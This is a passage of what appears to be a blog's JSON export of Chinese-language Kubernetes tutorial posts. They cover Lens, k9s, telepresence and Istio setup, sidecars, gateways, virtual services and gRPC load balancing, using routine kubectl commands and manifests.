IDE\n剩下的東西，因為都是可以用滑鼠直接操作，大家可以自己去安裝來嘗試看看。\n30天心得 k8s 我們一路上走的不算坎坷，甚至可以說運氣很好，這一年多的使用，還沒有碰到我們無法克服的難題，就像前面講到 為什麼我們要用 istio，我們導入 k8s 並且真的實戰在正式環境，其實也只有一年多的時間，能夠這麼順利，除了好運外，在這一路上我有一群很棒的夥伴，願意容忍我不斷想嘗試新東西的，手邊有工作下，不斷的把專案內所需的 infra 一直不斷進化、以及嘗試不同組合，在這迅速演進的世代，唯有讓自己也跟著高速進化，才是因應之道。公司面也很願意給出自由度讓我們去嘗試新東西。沒有公司的包容，我們也很難做到這樣架構。\n這次 30 天裡面所講到的東西，都是我們真實案例都有用到的東西。希望能夠幫助到正準備進入微服務世界的朋友。 雖然不能透露公司的商業邏輯，但是對我們所使用的技術有興趣的話，可以去我們的團隊 神龍特攻隊-為了燒肉不小心成為一條龍，去看每個夥伴所寫的文章。\n其實事隔兩年又來參加這虐人的比賽，這兩次的參賽時的心境跟身份都有很大的不同。但每次我參賽時所想的都是，怎麼把自己的所學習的技術記錄下來，不求能幫助到什麼人，但是我希望能在未來某一天可以回過頭來看自己的成長歷程，透過文字把它記錄下來。這次脅迫大家一起參加這個活動，一方面是為了滿足自己想要拿到一個團體完賽的成就，但另一方面也是想讓大家知道，把所學紀錄下來，是很重要的。當然也有夥伴趁著這次活動離開舒適圈，去學習一門自己不熟悉的技術，把自己不足的地方趁著這個 30 天活動補足了。這是非常值得鼓勵的一件事\n雖然這次因為一點小意外沒有讓團隊順利團隊完賽，但是基於公司開放我們參賽的初衷『讓每個人都能學到應該要學到的事情』，包含意外本身都是能得到對應的經驗。我相信這次參賽大家應該都收穫不少，至於沒有拿到團隊參賽完賽的殘念，我們決定把遺憾留到明年完成。鐵人賽，明年見！\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day30-what-is-lens/","summary":"\u003cp\u003e終於到了鐵人賽的最後一天，就來介紹另一套 k8s ide ，這跟前兩天介紹的 k9s 不一樣， k9s 是 cli 版的 ide，而 lens 則是一個大家熟悉的視窗版 ide 。 最後也會跟大家分享一下這 30 天的心得。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day30] lens 是什麼？"},{"content":"今天來介紹一些 k9s 的其他應用，畢竟是 cli 工具，大家可能不一定了解該怎麼用。就多花一天的篇幅來介紹\n搜尋 假設你有 POD 在 k9s 清單中，你應該要怎麼搜尋呢？\n首先你只要在 POD list 的畫面，按下 /，就會如以下畫面\n這時只要輸入你想搜尋的關鍵字，他就會開始做搜尋了。\nnamespace 切換 k9s namespace 切換有兩種方式，一種是在進入 k9s 之前輸入\n$ k9s -n {your_namespace} 用這種方式就會直接進入該 namespace\n另一種方式就是進入後按下 : 並且輸入 namespace，按下 enter 就會出現如下圖\nport-foward 實務上，大家應該都會對 port-foward 不陌生，那要怎麼在 k9s 上面操作呢？\n回到上面的 POD list 然後隨意進入任一個 POD 裡面，找到你想要 port-foward 的 container，按下 shift + f，就會出現如下了喔\n它還可以列表出來你目前有哪些 port-foward 連線，只要按下 : 輸入 portfowards 就可以看到下面\n總結 k9s 因為是 cli 介面，所以我覺得操作起來速度很快，反應也很及時，所以真的蠻推薦嘗試練習使用看看。\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day29-what-is-k9s-2/","summary":"\u003cp\u003e今天來介紹一些 k9s 的其他應用，畢竟是 cli 工具，大家可能不一定了解該怎麼用。就多花一天的篇幅來介紹\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day29] k9s 是什麼 ? -2"},{"content":"今天來聊聊其他的工具，相信大家常常對 kubectl 操作起來還是有稍嫌不變，比較沒有一目了然的介面，今天就來介紹 cli 版的 k8s 介面 k9s\n這個是 k9s 的官方 repo，有興趣的可以去這裡參閱。\n在這邊跟大家 MacOS 版的安裝\nbrew install k9s 如果會寫 Golang 的更可以直接用 go 的方式安裝\ngo get -u github.com/derailed/k9s 接下來只要下 k9s 就會如下圖嚕\n在這邊先教大家一些簡單的操作要看 POD 只要按下\n:pods 如果要看 service 就是按\n:service 只要按下 : 這個指令就會出現如下面的對話框，這時只要就可以輸入你要的指令ex POD、SERVICE\u0026hellip;.\n如果要離開，就是進入指令模式，輸入 q 就可以了喔。\n基本上透過這個 cli 版介面，你可以很方便知道你自己 k8s cluster 的所有狀態，而且一目瞭然，對 OPS 上面，我覺得非常方便，明天我會在介紹一些，我實務上比較常用的一些功能。今天先跟大家簡單介紹 k9s 是什麼。\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day28-what-is-k9s/","summary":"\u003cp\u003e今天來聊聊其他的工具，相信大家常常對 kubectl 操作起來還是有稍嫌不變，比較沒有一目了然的介面，今天就來介紹 cli 版的 k8s 介面 k9s\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day28] k9s 是什麼？ "},{"content":"昨天簡介完了 telepresence 基礎應用，今天來介紹來一些筆者實務上比較常用的進階使用方式。\n昨天的使用的方式是 telepresence 預設會起一個 POD 進入 k8s 的網路中，那如果今天你是要取代原本的 POD呢？ 那我們來看看怎麼使用\n我們一樣用前幾天的文章，所提供的 example first-helloworld\n先查詢看看目前 POD 狀況\n$ kubectl get pods NAME READY STATUS RESTARTS AGE first-hellworld-deployment-566d79fb7-d4vdg 2/2 Running 0 8m33s first-hellworld-deployment-566d79fb7-bljd6 2/2 Running 0 8m33s first-hellworld-deployment-566d79fb7-295wr 2/2 Running 0 8m33s 執行 telepresence\n$ telepresence --swap-deployment first-hellworld-deployment --expose 8080 照著下面就會發現 POD 通通都被替換掉了喔\n$ kubectl get pods NAME READY STATUS RESTARTS AGE first-hellworld-d-ed6163063b604edeabbdc6aba14b7d7e 2/2 Running 0 10m 此時可以在執行 telepresence 的那個 session 任意執行命令，甚至也可以另外起一個聽 8080 port 的服務，在你本機，原本的 first-helloworld service 都還是會把流量都導進來你這個 session 裡面。這在實務上，非常好用，你可以隨時對眾多服務中任一個服務，做本機端的開發 \u0026amp; 測試。\n當然會有人問如果有不同 namepsace 的 pod 需要做切換要怎麼辦呢？\ntelepresence --namespace --swap-deployment ${your-deployment} 在 multipass 架設下，使用 telepresence 會有網路問題，使用時本機會連不到外面網路，跟使用完畢後 multipass 裡面的虛擬機會連不到外面網路。 但是實務上 telepresence 都是用在不好的測試的外部環境，在本機環境下，應該是不會有 multipass + telepresence 的用法\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day27-how-to-use-telepresence-2/","summary":"\u003cp\u003e昨天簡介完了 \u003ccode\u003etelepresence\u003c/code\u003e 基礎應用，今天來介紹來一些筆者實務上比較常用的進階使用方式。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day27] 怎麼使用 telepresence ? -2"},{"content":"介紹完了 telepresence ，接下來就來談談，怎麼使用跟安裝它\n安裝 MacOs的方法如下\n$ brew cask install osxfuse $ brew install datawire/blackbird/telepresence 如果需要其他 OS 的安裝方式，請參考官方文件\n使用 先使用簡單的範例\n$ telepresence 接下來你就會看到在同一個 session 下面已經可以存取 grpc-client 了。再來你可以嘗試看看在同一個 session 裡面可以\n$ curl http://first-helloworld/ping Hello World% 範例可以參考前幾天的文章\n可以發現在那個 session 裡面已經完美進入了 k3s 的網路中了，然後那個 session 其實是 telepresence 幫你啟動了一個 POD ，可以透過\n$ kubectl get pods NAME READY STATUS RESTARTS AGE first-hellworld-deployment-566d79fb7-jr5qn 2/2 Running 0 5d19h first-hellworld-deployment-566d79fb7-f979g 2/2 Running 0 5d19h first-hellworld-deployment-566d79fb7-d9jpq 2/2 Running 0 5d19h telepresence-1601774775-3203058-34000 2/2 Running 0 8m48 實際上你的網路就完全是跟 telepresence-1601774775-3203058-34000 所共享的，你可以直接透過 cluster 裡面的網路 \u0026amp; DNS ，去做任何你想要的 request 。\n這就是一個簡單的使用，明天我們來示範一些比較進階的使用方式。\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day26-how-to-use-telepresence/","summary":"\u003cp\u003e介紹完了 \u003ccode\u003etelepresence\u003c/code\u003e ，接下來就來談談，怎麼使用跟安裝它\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day26] 怎麼使用 telepresence ?"},{"content":"今天來聊聊，在微服務系統越來越流行的原因，就是因為將大型服務，解構成不同的子系統，將大型系統的複雜度降低，透過 k8s 的編排，讓我們可以很輕易控制。\n但是也因為眾多子系統，如果沒有在 k8s 上會變得很不好運行，也就是開發環境不容易設置，今天來跟大家分享一個工具 telepresence\n介紹 telepresence Telepresence 是一个 CNCF 基金會下的產品。它的原理是在本地和 k8s 搭建一個雙向 proxy，這可以讓我在本地環境使用熟悉的 IDE 和調整工具来運作一个微服務，同時該服務还可以無縫的與 k8s 上其他服務互相溝通，好像它就運作在這個 k8s 中一樣。\n我們用前幾天做過的範例，來做舉例，我們假設今天要對 grpc-server 做除錯，如果我要在本機模擬開發，我還需要同時啟動 grpc-server \u0026amp; grpc-client，兩個服務是還好，但是服務規模一大之後，相依服務就不是你想要快速啟動就能辦到的。\n所以今天我們只要把 grpc-server 攔截下來在本機，telegresence 就會自動幫你把所有會去 grpc-server 的流量都攔截下來，這樣你只要在本機啟動 grpc-server，就可以看到外部流量不斷進來。反之如果你要攔截 grpc-client，你在本機也可以直接呼叫到 k8s 裡面的 grpc-server 。\n注意，此方法因為會被流量都會導進本機，如果要在正式環境使用，請千萬小心。\n明天我們就來介紹一下安裝跟簡單使用的方式。\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day25-what-is-telepresence/","summary":"\u003cp\u003e今天來聊聊，在微服務系統越來越流行的原因，就是因為將大型服務，解構成不同的子系統，將大型系統的複雜度降低，透過 k8s 的編排，讓我們可以很輕易控制。\u003c/p\u003e\n\u003cp\u003e但是也因為眾多子系統，如果沒有在 k8s 上會變得很不好運行，也就是開發環境不容易設置，今天來跟大家分享一個工具 telepresence\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day25] 什麼是 telepresence ?"},{"content":"昨天介紹 istio gateway 時有提到，他需要透過 virtual service 才能做到 L7 route rule 的功能，今天就來跟大家介紹這個東西\n首先大家先看一下這個部署檔\napiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata: name: first-vs spec: hosts: # 這邊可以選擇要不要指定 - \u0026#34;first-vs.com\u0026#34; gateways: # 這邊要指定昨天做過的 gateway名稱 - first-gateway http: - route: - destination: port: number: 80 host: grpc-client.test-istio.svc.cluster.local #這裡就是指向你真正服務 service 的名稱喔 上面 destionation 下面的 host 名稱會這麽長，這是 k8s 內部實際 dns 全名，如果需要跨 namspace 存取，就需要用這樣的全名方式指定。\n{service name}.{namespace}.svc.cluster.local 這就是它的規則\n這邊簡單說明一下，它的流量管理方式\nspec: hosts: - reviews http: - route: - destination: host: grpc-client subset: v1 weight: 75 - destination: host: grpc-client subset: v2 weight: 25 假設你服務要進行改版，你可以同時部署上去，然後透過 virtualservice 來控制，改版的服務可能只分配總流量的 25% 給它，來做實際測試，這種方式會比傳統的更新程式更來得穩固，因為你可以用實際流量來測試新服務有沒有什麼 bug ，就算真的有問題，你也只會損失 25% 的流量，而不會造成全面性的災難，損失客戶流量。\n最後以這幾天範例下來，這個流程會是\n實務上『切記』istio-ingressgateway，可以有多個選擇，這個 istio-ingressgateway 是 istio 安裝完後預設的，如果放在真實環境，如果有多組 ip 需要掛上去，這時侯就需要使用多組 ingressgateway。\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day24-what-is-istio-virtual-service/","summary":"\u003cp\u003e昨天介紹 \u003ccode\u003eistio gateway\u003c/code\u003e 時有提到，他需要透過 virtual service 才能做到 L7 route rule 的功能，今天就來跟大家介紹這個東西\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day24] 什麼是 istio virtual service?"},{"content":"istio gateway 在 istio 中扮演很重要的角色，如果沒有這東西，就沒有辦法讓外部流量導進來。\n雖然說可以透過 service nodeport的模式，掛上 domain 處理。但比較好的方式，假設都是 web 服務的話，其實對外都是 80 or 443 port，這樣如果服務一多，就沒辦法都用同一個 port ，在原生 k8s 模式下有一個叫做 ingress 的東西可以處理這件事情，筆者碰 k8s 沒多久，就直接上 istio 模式了，所以就略過不介紹了，有興去了解的還是可以去參考官網文件。\n這間稍微簡單介紹一下 istio gateway ，他本身提供 L4 到 L6 的功能，所以 TLS\u0026hellip; 等等相關它都辦得到，那一定會有人問 L7 呢？ 在 istio 裡面它提供了一個叫 virtualservice 這東西就有了 L7 route rule 的功能，gateway 可以綁定一個 virtualservice，今天先不談 virtualservice，我們先試試 gateway 吧\n首先大家先\n$ kubectl get service -n istio-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE istiod ClusterIP 10.43.24.239 \u0026lt;none\u0026gt; 15010/TCP,15012/TCP,443/TCP,15014/TCP,853/TCP 3d1h istio-egressgateway ClusterIP 10.43.60.110 \u0026lt;none\u0026gt; 80/TCP,443/TCP,15443/TCP 3d1h istio-ingressgateway LoadBalancer 10.43.189.193 \u0026lt;pending\u0026gt; 15021:32461/TCP,80:32046/TCP,443:30536/TCP,31400:31695/TCP,15443:32082/TCP 3d1h grafana ClusterIP 10.43.128.204 \u0026lt;none\u0026gt; 3000/TCP 5m41s 上面可以看到istio-ingressgateway，這是 istio 安裝 demo profile後，預設就安裝完的 service 或是我把它稱作 gateway 代理，請大家記得這個名稱。\napiVersion: networking.istio.io/v1beta1 kind: Gateway metadata: name: istio-ingressgateway #這裡就是填入上面所查到的 istio-ingressgateway，實務上如果你有多個 ip ，就會有多個 gateway 代理，然後就要描述多個 gateway 去使用 gateway 代理 spec: selector: istio: first-gateway #對應virtualservice spec.gateways servers: - port: #加密傳輸 number: 443 name: https protocol: HTTPS tls: mode: SIMPLE serverCertificate: /etc/istio/ingressgateway-certs/tls.crt #設定憑證路徑 privateKey: /etc/istio/ingressgateway-certs/tls.key #設定憑證路徑 hosts: - \u0026#34;*\u0026#34; #該服務對應domain - port: number: 80 name: http protocol: HTTP hosts: - \u0026#34;*\u0026#34; #該服務對應domain 這樣把它部署到 istio-system ， 就完成了 gateway 佈置。\n","permalink":"https://blog.syhlion.tw/2020/10/2020-12th-ithome30day-day23-what-is-istio-gateway/","summary":"\u003cp\u003e\u003ccode\u003eistio gateway\u003c/code\u003e 在 istio 中扮演很重要的角色，如果沒有這東西，就沒有辦法讓外部流量導進來。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day23] istio gateway 是什麼？"},{"content":"今天我來分享一些，之前在部署 istio 時，碰到的一些小地雷。\nService 首先大家不知道還記不記得這篇k8s Service 介紹。像下面這個設定黨\nkind: Service apiVersion: v1 metadata: name: my-service spec: # type 有四種 ClusterIP, NodePort, LoadBalancer, ExternalName # 預設是 ClusterIP type: ClusterIP # 選擇帶有 \u0026#34;app=nginx\u0026#34; 的 pod selector: app: nginx ports: - protocol: TCP port: 80 name: http-web targetPort: 80 裡面spec.ports.name 這個欄位在 istio 模式下是有意義的，之前我剛開始在練習部署時，就發現明明在原本模式都正常運作的服務，切換到 istio 模式下，發現原本要呼叫相應 api 的服務，通通都 request 不到，後來才發現，原來在 istio 模式下 name 是有意義的。\n他的命名方式是 \u0026lt;protocol\u0026gt;[-\u0026lt;suffix\u0026gt;-]，支援的 protocol 如下\ngrpc grpc-web http http2 https mongo mysql* redis* tcp tls udp 憑證更新 這個功能會發生在 istio 1.6之前的版本，如果採用默認的 mtls，它會定期的自動更新，更新當下，如果有長連線的行為的服務，會中斷掉，這個對我們也困擾很久，大家可以對自己任一個服務下\n$ kubectl exec $POD -c istio-proxy -n $NAMESPACE -- curl http://localhost:15000/certs | head -c 1000 Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 21292 0 21292 0 0 138k 0 --:--:-- --:--:-- --:--:-- 144k { \u0026#34;certificates\u0026#34;: [ { \u0026#34;ca_cert\u0026#34;: [ { \u0026#34;path\u0026#34;: \u0026#34;./var/run/secrets/istio/root-cert.pem\u0026#34;, \u0026#34;serial_number\u0026#34;: \u0026#34;e9637e5fba66f5bdef5c49a3174f4a60\u0026#34;, \u0026#34;subject_alt_names\u0026#34;: [], \u0026#34;days_until_expiration\u0026#34;: \u0026#34;3647\u0026#34;, \u0026#34;valid_from\u0026#34;: \u0026#34;2020-09-28T01:21:47Z\u0026#34;, \u0026#34;expiration_time\u0026#34;: \u0026#34;2030-09-26T01:21:47Z\u0026#34; } ], \u0026#34;cert_chain\u0026#34;: [ { \u0026#34;path\u0026#34;: \u0026#34;\\u003cinline\\u003e\u0026#34;, \u0026#34;serial_number\u0026#34;: \u0026#34;cfc8a63c1161ce98200ad46c98d553b1\u0026#34;, \u0026#34;subject_alt_names\u0026#34;: [ { \u0026#34;uri\u0026#34;: \u0026#34;spiffe://cluster.local/ns/test-istio/sa/default\u0026#34; } ], \u0026#34;days_until_expiration\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;valid_from\u0026#34;: \u0026#34;2020-09-30T01:12:39Z\u0026#34;, \u0026#34;expiration_time\u0026#34;: \u0026#34;2020-10-01T01:12:39Z\u0026#34; } ] }, { \u0026#34;ca_cert\u0026#34;: [ { \u0026#34;path\u0026#34;: \u0026#34;\\u003cinline\\u003e\u0026#34;, \u0026#34;serial_number\u0026#34;: \u0026#34;e9637e5fba66f5bdef5c49a3174f4a60\u0026#34;, \u0026#34;subject_alt_names\u0026#34;: [], \u0026#34;days_until_expiration\u0026#34;: \u0026#34;3647\u0026#34;, \u0026#34;valid_from\u0026#34;: \u0026#34;2020-09-28T01:21:47Z\u0026#34;, \u0026#34;expiration_time\u0026#34;: \u0026#34;2030-09-26T01:21:47Z\u0026#34; } ], \u0026#34;cer% 主要以 cert_chain 的 expiration_time 為主。 他憑證一定會在那個時間之前就做自動更新的動作\n1.6 之後的版本，他更新憑證不會造成連線中斷。\n但是如果原本是用 1.6 之前的版本，要注意 1.6 是一個很大的分歧點，istio 在 1.6 做了很大的更新，架構上差異極大，甚至安裝方式也跟之前有差異，所以有需要升級的要注意這一點。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day22-istio-trouble-shoot/","summary":"\u003cp\u003e今天我來分享一些，之前在部署 istio 時，碰到的一些小地雷。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day22] istio 模式下碰過的地雷"},{"content":"今天我們來實測看看 istio 是否真有那麼神奇，可以讓原本的 grpc 服務可以無痛做出 loadbalance\n我們先看一下今天範例的架構圖\n我們會透過 grpc-client 的 http api 入口，來測試 grpc-client 跟 grpc-server 之間會不會 loadbalance\n首先我們先創建一個不會注入 sidecar 的 namespace\n$ kubectl create namespace test-no-istio namespace/test-no-istio created 接著請使用我的範例把 grpc server \u0026amp; client 照著下面的語法部署上去。\n$ kubectl apply --namespace test-no-istio -f deploy.yaml deployment.apps/grpc-server-deployment created service/grpc-server created grpc-client 也要跟著部署\n接著 kubectl port-forward -n test-no-istio svc/grpc-client 6000:8080 ， 之後再下\n$ curl http://127.0.0.1:6000 Hello World% 再來查詢自己 server pod 挑選最上面那一個查詢 log\n$ kubectl get pods -n test-no-istio NAME READY STATUS RESTARTS AGE grpc-server-deployment-d56b8c7f5-rsksx 1/1 Running 0 12m grpc-server-deployment-d56b8c7f5-6rtcx 1/1 Running 0 12m grpc-server-deployment-d56b8c7f5-4p6dc 1/1 Running 0 12m grpc-client-deployment-5b9cb5d667-7vt6v 1/1 Running 0 9m53s grpc-client-deployment-5b9cb5d667-czcs6 1/1 Running 0 9m53s grpc-client-deployment-5b9cb5d667-t867p 1/1 Running 0 9m53s $ kubectl logs -n test-no-istio -f grpc-server-deployment-d56b8c7f5-rsksx 2020/09/29 07:06:21 Receive Grpc Request: test 會發現不管 curl 幾次，都是導向同一個 grpc-server pod。\n接下來我們部署到有 istio 的 namespce 試試看\n建立一個新的 namespace\n$ kubectl create namespace test-istio namespace/test-istio created 開啟注入 sidecar 功能\n$ kubectl label namespace test-istio istio-injection=enabled namespace/test-istio labeled 照著上面的方式 把grpc server \u0026amp; client 照著下面的語法部署上去。\n$ kubectl apply --namespace test-istio -f deploy.yaml deployment.apps/grpc-server-deployment created service/grpc-server created grpc-client 也要跟著部署\n再來反覆上述步驟，就會發現流量都會被分散在不同的 grpc-server pod。\nistio 模式下要觀測 log 需要下 -c 的指令 ex kubectl logs -n test-istio -f grpc-server-deployment-d56b8c7f5-l99rj -c grpc-server\n不然會噴下面這種錯誤 Error from server (BadRequest): a container name must be specified for pod grpc-server-deployment-d56b8c7f5-l99rj, choose one of: [istio-init grpc-server istio-proxy]\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day21-test-istio-grpc-loadbalance/","summary":"\u003cp\u003e今天我們來實測看看 istio 是否真有那麼神奇，可以讓原本的 grpc 服務可以無痛做出 loadbalance\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day21] 測試看看 grpc 在 istio 的 loadbalance"},{"content":"今天要來談談 istio 很重要的一點 sidecar ，這是一個很棒的 pattern ，今天決定特別跟大家分享這個模式。\nsidecar pattern 首先先照著我前天部署的那篇 『怎麼部署你第一個 application 到 k3s 裡面』，使用裡面的 first-helloworld，請動完後應該會看到這樣\n$ kubectl get pods NAME READY STATUS RESTARTS AGE first-hellworld-deployment-566d79fb7-d9jpq 2/2 Running 0 11m first-hellworld-deployment-566d79fb7-f979g 2/2 Running 0 11m first-hellworld-deployment-566d79fb7-jr5qn 2/2 Running 0 11m 透過 kubectl describe pods {pod name} ，可以看到一個 pod 裡面有三個 container，分別是\nistio-init first-helloworld istio-proxy 其中 istio-init 是用來當作 init conatiners，這是 k8s 原生提供出來的功能，有興趣可以參考官方文件。\nref\n1.6版後 istio 架構大更新，所以如果是使用 1.5版之前的版本，請注意架構上有明顯的不同。\n如上圖 istio 使用 proxy 就是使用 Enovy 這個東西所組成的，它是由 C++ 所撰寫的高效能網路代理工具，他負責所有服務進出的控制，下面列出我有使用它的功能\nHTTP/2 、 gRPC 代理 負載平衡 動態的服務發現 health check 各種流量指標分析 透過這個模式，可以發現我們原本的 first-helloworld 服務，沒有修改任何一行程式碼，也沒有修改任何的部署檔案，就完成了 istio 模式。\n那下方的 istod 則是負責一個 config 設置，以及服務啟動時注入 sidecar ，還有憑證分發。\n大家也可以看一下，istio 安裝完後，會在你的 cluster 裡面起一個新的 namepsace\n$ kubectl get pods -n istio-system NAME READY STATUS RESTARTS AGE istiod-95bffc969-5khnq 1/1 Running 0 5h51m svclb-istio-ingressgateway-zj6h7 0/5 Pending 0 5h50m istio-ingressgateway-577b99649b-rm59r 1/1 Running 0 5h50m istio-egressgateway-7b49cdb77f-h6cht 1/1 Running 0 5h50m 明天我們寫一個小範例來測試，有無 istio 模式下，到底 gRPC 的運作會差異在哪裡。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day20-what-is-istio-sidecar/","summary":"\u003cp\u003e今天要來談談 istio 很重要的一點 sidecar ，這是一個很棒的 pattern ，今天決定特別跟大家分享這個模式。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day20] 什麼是 istio sidecar 呢？"},{"content":"前幾天介紹完了 istio 是什麼，以及為什麼我們要使用 istio ，今天就來正式進入實戰的部分。\n首先我們先去官網下載 istio 的安裝檔 1.7.2\n筆者寫 istio 時版本最新到1.7.2，不過 istio 版本更新非常快，筆者從 1.4 用不到一年就已經跳到1.7了。\n依據你的需求載需要的檔案並且把它解壓縮，再來可以在 /bin 資料夾找到，istioctl，把它 cp 到 /usr/local/bin/istioctl\n然後下\n$ istioctl-example install --set profile=demo ✔ Istio core installed ✔ Istiod installed ✔ Ingress gateways installed ✔ Egress gateways installed ✔ Installation complete 先用 demo 嘗試看看，如果要在 PROD 環境，記得要另外挑 profile 做調教。 建議 multipass 至少要給它 4 core 4g ram，筆者一開始用預設vm 是裝不起來的\n接下來就安裝完成了。\n可以檢查看看是否有安裝成功只要使用\n$ kubectl -n istio-system get deploy NAME READY UP-TO-DATE AVAILABLE AGE istio-ingressgateway 1/1 1 1 49m istiod 1/1 1 1 49m istio 可以指定你哪些 namespace 要掛上 sidecar 指令可以這樣下\n$ kubectl label namespace default istio-injection=enabled default 可以依照需求自行換成自己的 namespace\n最後我們試試看\n$ kubectl get pods NAME READY STATUS RESTARTS AGE redis-test-867fd6b547-8x5fr 2/2 Running 0 5d 這是用前幾天部署出來的 redis ，就可以無痛注入 sidecar\n有沒有發現到 READY 欄位原本都是 1/1 ，現在變成 2/2 ，就是 sidecar 已經掛成功了喔\n明天我們會來聊聊，用上 istio ，有些 kubectl 使用會有些差異的地方。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day19-how-to-install-istio/","summary":"\u003cp\u003e前幾天介紹完了 istio 是什麼，以及為什麼我們要使用 istio ，今天就來正式進入實戰的部分。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day19] 怎麼安裝 istio 呢？"},{"content":"到底為什麼我們要使用 istio 呢？ 有什麼需求是原生 k8s 辦不到的事情？ 這就可以稍微跟大家分享一下團隊導入的故事。\n我們導入 k8s 在一個新專案，大約開發了近一年，也都 QA 過了，在即將上線的時侯，我們才發現了一個重大的問題，就是 k8s 的 service 並沒有辦法替 grpc 做 load balance，偏偏我們專案內除了對外 client 是用一般 http api，其餘內部 server 對 server 的溝通都是透過 grpc 。那這樣就完全無法用到 k8s 自動 scale pod 的功能，也就是所有服務的 pod 都只能起一台。\n我們這時就瘋狂去找各種解決方案，當然也有諮詢公司內比較早接觸 k8s 的前輩做諮詢，前輩就回了『你們可以自己做 grpc 的connection pool ，自己做 load balance。』這當然是一個非常差的建議，都已經要上線不可能再去更動程式底層架構，更動完再進行送測，這中間的成本可不小，所以我們當然不會選擇這個方案。\n這時侯就找到了 istio 可以解決 grpc load balance的問題，而且因為它的 side car pattern，可以無痛注入到我們現行的服務中，不用作任何程式碼異動，最後我們先用原生的 k8s 先上線，另一方面我們開始嘗試在 DEV 站導入 istio，最終我們花了三個月的時間，也就是產品上線後三個月，我們就把線上的 k8s 裝上 istio，並且正式在營運中使用。\n這是我們最初的使用目的，雖然只是用到 istio 很小的一個功能，但是專案上線到現在一年多，我們也因為客戶 request 次數太頻繁，而導入的 istio 的 request limit，限制他們每分鐘 request 次數。這個東西，在之前通常都是直接 hardcore 寫在服務本體，但是現在有了 istio 我們竟然可以透過設定，看是要 by ip or by 某個特定的 header key 去做限制都可以。\n甚至配合廠商 api 不穩定，我們自己需要模擬廠商不穩定時，我們的流程會有什麼影響，而導入的 istio 裡面的熔斷，在沒這個之前，可能要自己寫一個 mock server\u0026hellip;，但是有了這個後，可以透過簡單的設定，我可以指定模擬廠商 api 不通或是廠商的 reponse 延遲超過 30s ，去觀測我們的系統會發生什麼事情，\n還有我們有一個服務從 php 重構為 golang 版本，當然 api 格式也都改完 grpc ，我們透過 istio 包好的 kiali 就可以觀察到，到底有哪些相依服務，還沒有把接口接上新服務。\n這些東西這是我們在導入 istio 後，慢慢去挖掘出它強大之處。後續幾天我也會把我們有用到的功能一樣樣專題分享給大家知道。\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day18-why-we-use-istio/","summary":"\u003cp\u003e到底為什麼我們要使用 istio 呢？ 有什麼需求是原生 k8s 辦不到的事情？ 這就可以稍微跟大家分享一下團隊導入的故事。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day18] 為什麼我們要用 istio ?"},{"content":"istio 是 google 所開源的一個項目，也就是跟 k8s 是同門師兄弟，他主要用途就是拿來做 k8s cluster 間的 service mesh。\n什麼是 service mesh 對於任何網路應用程式來說，都有很多共通的行為，像是 load balance、不同服務間的身份驗證、替服務做 A/B test，也就是讓工程師可以更專注在應用程式上面的商業邏輯，而不用去考量，我如果需要 call api ，網路底層這些安全性、測試、效能要怎麼做設置，甚至未來上線後，特定需求下我需要做速率限制、實驗性功能要透過金絲雀發布法發布\u0026hellip;這些議題。這就是 service mesh。\nistio 是什麼？ 從上面的圖可以看到，istio ，其實會做到無痛在 k8s 的 POD 裡面，注入一個 container ，也就是上面所指的 sidecare，透過它來控制服務間的溝通，進而去做到各種溝通上的管理跟監控。\n通過負載平衡、服務間的身份驗證、監控等方法，Istio 可以輕鬆地創建一個已經部署了服務的網路，而服務只需很少更改甚至無需更改。通過在整個環境中部署一個特殊的 sidecar 代理為服務加入 Istio ，而代理會攔截微服務之間的所有網路訊號，然後使用其控制平面的功能來配置和管理 Istio，這包括：\n為 HTTP、gRPC、WebSocket 和 TCP 流量自動負載平衡。 通過豐富的路由規則、重試、故障轉移和故障注入對流量行為進行細粒度控制。 可插拔的策略層和配置 API，支持 request 控制、速率限制和配額。 集群內（包括集群的入口和出口）所有流量的自動化度量、日誌記錄和追踪。 在具有強大的基於身份驗證和授權的集群中實現安全的服務間通信。 這在設計模式來說，有一個叫做 sidecar pattern的模式，有一篇文章寫得不錯建議大家可以去補充閱讀 邊車模式 (The Sidecar Pattern) - 介紹\n","permalink":"https://blog.syhlion.tw/2020/09/2020-12th-ithome30day-day17-what-is-istio/","summary":"\u003cp\u003eistio 是 google 所開源的一個項目，也就是跟 k8s 是同門師兄弟，他主要用途就是拿來做 k8s cluster 間的 service mesh。\u003c/p\u003e","title":"[k8s 生態鏈 完美組合 Day17] 到底什麼是 istio ?"},{"content":"介紹完了，helm value 間的上下層關係，今天來跟大家分享，我實際規劃團隊所使用的 helm 結構。不過會因為一些商業機密問題，內容會有所轉換，但會盡量呈現相近概念讓大家了解。\n這邊先看一個示意圖\ndemo code\n大家可以看到上圖，我切成兩個主要 charts ，分別為 backend \u0026amp; plugin ，然後 backend 下面分別有兩個 sub charts為 